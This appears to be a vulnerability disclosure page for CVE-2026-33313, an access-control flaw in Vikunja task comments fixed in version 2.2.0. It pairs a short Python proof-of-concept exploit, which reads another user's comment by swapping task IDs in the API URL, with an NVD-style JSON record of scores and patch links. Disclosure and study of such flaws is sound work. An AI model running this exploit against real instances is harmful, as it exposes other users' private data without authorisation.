CVE-2026-33313

import requests # Configuration TARGET_URL = "https://example.com" # Attacker's accessible task ID ATTACKER_TASK_ID = "100" # Target comment ID to steal TARGET_COMMENT_ID = "999" # User's authentication token AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def exploit_idor(): """ Exploit CVE-2026-33313 by swapping the Task ID in the API endpoint. The server validates access to ATTACKER_TASK_ID but returns TARGET_COMMENT_ID. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious endpoint construction # Original logic might check if user can read task 100, then return comment 999 from it. # Vulnerability: It returns comment 999 regardless of which task it belongs to. url = f"{TARGET_URL}/api/v1/tasks/{ATTACKER_TASK_ID}/comments/{TARGET_COMMENT_ID}" print(f"[+] Sending request to: {url}") response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Leaked comment data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": exploit_idor()

{"cve": {"id": "CVE-2026-33313", "sourceIdentifier": "[email protected]", "published": "2026-03-24T15:16:35.073", "lastModified": "2026-03-24T19:21:12.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, an authenticated user can read any task comment by ID, regardless of whether they have access to the task the comment belongs to, by substituting the task ID in the API URL with a task they do have access to. Version 2.2.0 fixes the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la versión 2.2.0, un usuario autenticado puede leer cualquier comentario de tarea por ID, independientemente de si tiene acceso a la tarea a la que pertenece el comentario, sustituyendo el ID de la tarea en la URL de la API por una tarea a la que sí tiene acceso. La versión 2.2.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "F28D4CDA-D35C-4636-AABA-A22EBE6F64D0"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/bc6d843ed4df82a6c89f10aa676a7a33d27bf2fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-mr3j-p26x-72x4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}